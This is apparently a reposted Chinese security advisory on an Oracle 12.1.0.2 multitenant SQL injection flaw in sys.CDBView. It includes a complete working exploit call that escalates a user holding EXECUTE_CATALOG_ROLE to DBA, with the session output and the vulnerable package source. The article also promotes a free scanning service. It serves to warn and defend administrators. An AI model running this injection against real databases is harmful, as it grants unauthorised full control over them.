【安全警告】Oracle 12c 多租户的SQL注入高危风险防范

简介:

用Oracle多租户选件时,由于Container容器和PDB融合共存,则权限控制必将更加重要,在之前的文章中我们提到,Oracle 12.2 的 lockdown profile就是为了实现PDB中更为全面的权限控制。


我们在2016年『比特币事件』中,总结了数据安全的十六大军规其中有一条也明确提到最小权限守则,而且要真正实现权限管理


SQL注入攻击的风险

我们来看看如果权限控制不当,可能遭遇到的数据库安全风险。根据最近披露的风险之一,通过SQL注入可能影响数据库的安全,以下问题影响到多租户的12.1.0.2.0最新版本


假如我们在CDB中拥有一个普通用户,因为某种原因它申请和被授予了EXECUTE_CATALOG_ROLE的角色:

SQL> connect / as sysdba

Connected.

SQL> create user c##eygle identified by eygle;

User created.

SQL> grant execute_catalog_role,create session to c##eygle;

Grant succeeded.


SQL> select granted_role from user_role_privs;

GRANTED_ROLE

---------------------------------------------

EXECUTE_CATALOG_ROLE


我们看看这一角色可能由此深入所做出的尝试,经常讨论的SQL注入也就在这个知识范畴之中。


当以下一个系列的SQL被执行之后,一个普通用户获得了DBA的权限,如果这是在一个多租户的环境中,这个提权将是非常危险的:

SQL> connect c##eygle/eygle

Connected.

SQL> select granted_role from user_role_privs;

GRANTED_ROLE

-----------------------------------------------------

EXECUTE_CATALOG_ROLE


SQL> exec sys.CDBView.create_cdbview(true,'ALL_POLICIES" as select /*+WITH_PLSQL*/ x from (WITH FUNCTION f RETURN varchar2 IS PRAGMA AUTONOMOUS_TRANSACTION;BEGIN /* ','yh_view' ,' */ execute immediate ''grant dba to c##eygle''; RETURN ''1'';END; SELECT f as x FROM dual)-- ');

*

ERROR at line 1:

ORA-00905: missing keyword

ORA-06512: at "SYS.CDBVIEW", line 58

ORA-06512: at line 1


SQL> select  /*+WITH_PLSQL*/ * from ALL_POLICIES;

X

-------

1


SQL> select granted_role from user_role_privs;

GRANTED_ROLE

----------------------------

DBA

EXECUTE_CATALOG_ROLE


SQL> select banner from v$version;

BANNER

----------------------------------------------------------------------------------------

Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production

PL/SQL Release 12.1.0.2.0 - Production

CORE 12.1.0.2.0 Production

TNS for Linux: Version 12.1.0.2.0 - Production

NLSRTL Version 12.1.0.2.0 - Production


当然作为资深的DBA来说,我们应当知道EXECUTE_CATALOG_ROLE这一角色权限是非常危险的,要严格控制这一权限的授予。这一注入,实际上是利用了 CDBView 包的校验漏洞,进行了注入提权。


包 sys.CDBView 的主要内容如下(在安装脚本中是明文的),风险来自于脚本内部的校验缺失:

create or replace package sys.CDBView as 

  ----------------------------

  --  PROCEDURES AND FUNCTIONS

 --

procedure create_cdbview(chk_upgrd IN boolean, owner IN varchar2,

oldview_name IN varchar2, newview_name IN varchar2);

end CDBView;

/


grant execute on sys.CDBView to execute_catalog_role

/


create or replace package body sys.CDBView is

-- Create the cdb view

-- private helper procedure to create the cdb view

-- Note that quotes should not be added around owner, oldview_name and 

-- newview_name before create_cdbview is invoked since all three are used 

-- as literals to query dictionary views.

procedure create_cdbview(chk_upgrd IN boolean, owner IN varchar2,

oldview_name IN varchar2, newview_name IN varchar2) as

sqlstmt            varchar2(4000);

col_name        varchar2(128);

comments       varchar2(4000);

col_type            number;

upper_owner    varchar2(128);

upper_oldview  varchar2(128);

quoted_owner   varchar2(130); -- 2 more than size of owner

quoted_oldview varchar2(130); -- 2 more than size of oldview_name

quoted_newview varchar2(130); -- 2 more than size of newview_name


cursor tblcommentscur is select c.comment$

from sys.obj$ o, sys.user$ u, sys.com$ c

where o.name = upper_oldview and u.name = upper_owner

and o.obj# = c.obj# and o.owner#=u.user# and o.type# = 4

and c.col# is null;


cursor colcommentscur is select c.name, co.comment$, c.type#

from sys.obj$ o, sys.col$ c, sys.user$ u, sys.com$ co

where o.name = upper_oldview and u.name = upper_owner

and o.owner# = u.user# and o.type# = 4 and o.obj# = c.obj#

and c.obj# = co.obj# and c.intcol# = co.col#

and bitand(c.property, 32) = 0;


begin


-- convert owner and view names to upper case

upper_owner    := upper(owner);

upper_oldview  := upper(oldview_name);


quoted_owner   := '"' || upper_owner         || '"';

quoted_oldview := '"' || upper_oldview       || '"';

quoted_newview := '"' || upper(newview_name) || '"';


-- create cdb view

sqlstmt := 'CREATE OR REPLACE VIEW ' || 

quoted_owner || '.' || quoted_newview || 

' CONTAINER_DATA AS SELECT * FROM CONTAINERS(' ||

quoted_owner || '.' || quoted_oldview || ')';


--dbms_output.put_line(sqlstmt);

execute immediate sqlstmt;

......

end if;

end loop;

close colcommentscur;

end;


end CDBView;

/

show errors;

/


安全风险无处不在,提高安全意识刻不容缓。


在云和恩墨的Bethune自动化巡检平台上,我们已经向着用户发出这一警示,强烈推荐大家通过Bethune ( https://bethune.enmotech.com )平台检测数据库的安全风险及性能状况,目前该平台完全免费


文章转自数据和云公众号,原文链接

相关文章
|
1月前
|
SQL 监控 Oracle
Oracle SQL性能优化全面指南
在数据库管理领域,Oracle SQL性能优化是确保数据库高效运行和数据查询速度的关键
|
1月前
|
SQL 存储 Oracle
Oracle数据库SQL语句详解与应用指南
在数字化时代,数据库已成为各类企业和组织不可或缺的核心组件。Oracle数据库作为业界领先的数据库管理系统之一,广泛应用于各种业务场景。掌握Oracle数据库的SQL语句是数据库管理员、开发人员及运维人员的基本技能。本文将详细介绍Oracle数据库SQL语句的基本概念、语法、应用及最佳实践。一、Or
53 3
|
1月前
|
SQL Oracle 关系型数据库
Oracle SQL:了解执行计划和性能调优
Oracle SQL:了解执行计划和性能调优
52 1
|
4月前
|
SQL Oracle 关系型数据库
|
4月前
|
SQL Oracle 关系型数据库
MySQL、SQL Server和Oracle数据库安装部署教程
数据库的安装部署教程因不同的数据库管理系统(DBMS)而异,以下将以MySQL、SQL Server和Oracle为例,分别概述其安装部署的基本步骤。请注意,由于软件版本和操作系统的不同,具体步骤可能会有所变化。
305 3
|
4月前
|
SQL 存储 Oracle
TDengine 3.3.2.0 发布:新增 UDT 及 Oracle、SQL Server 数据接入
**TDengine 3.3.2.0 发布摘要** - 开源与企业版均强化性能,提升WebSocket、stmt模式写入与查询效率,解决死锁,增强列显示。 - taos-explorer支持geometry和varbinary类型。 - 企业版引入UDT,允许自定义数据转换。 - 新增Oracle和SQL Server数据接入。 - 数据同步优化,支持压缩,提升元数据同步速度,错误信息细化,支持表名修改。 - 扩展跨平台支持,包括麒麟、Euler、Anolis OS等。
125 0
|
5月前
|
SQL Oracle 关系型数据库
一些非常有用的Oracle SQL
一些非常有用的Oracle SQL
43 4
|
2月前
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
4月前
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
111 13
|
4月前
|
SQL
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。

推荐镜像

更多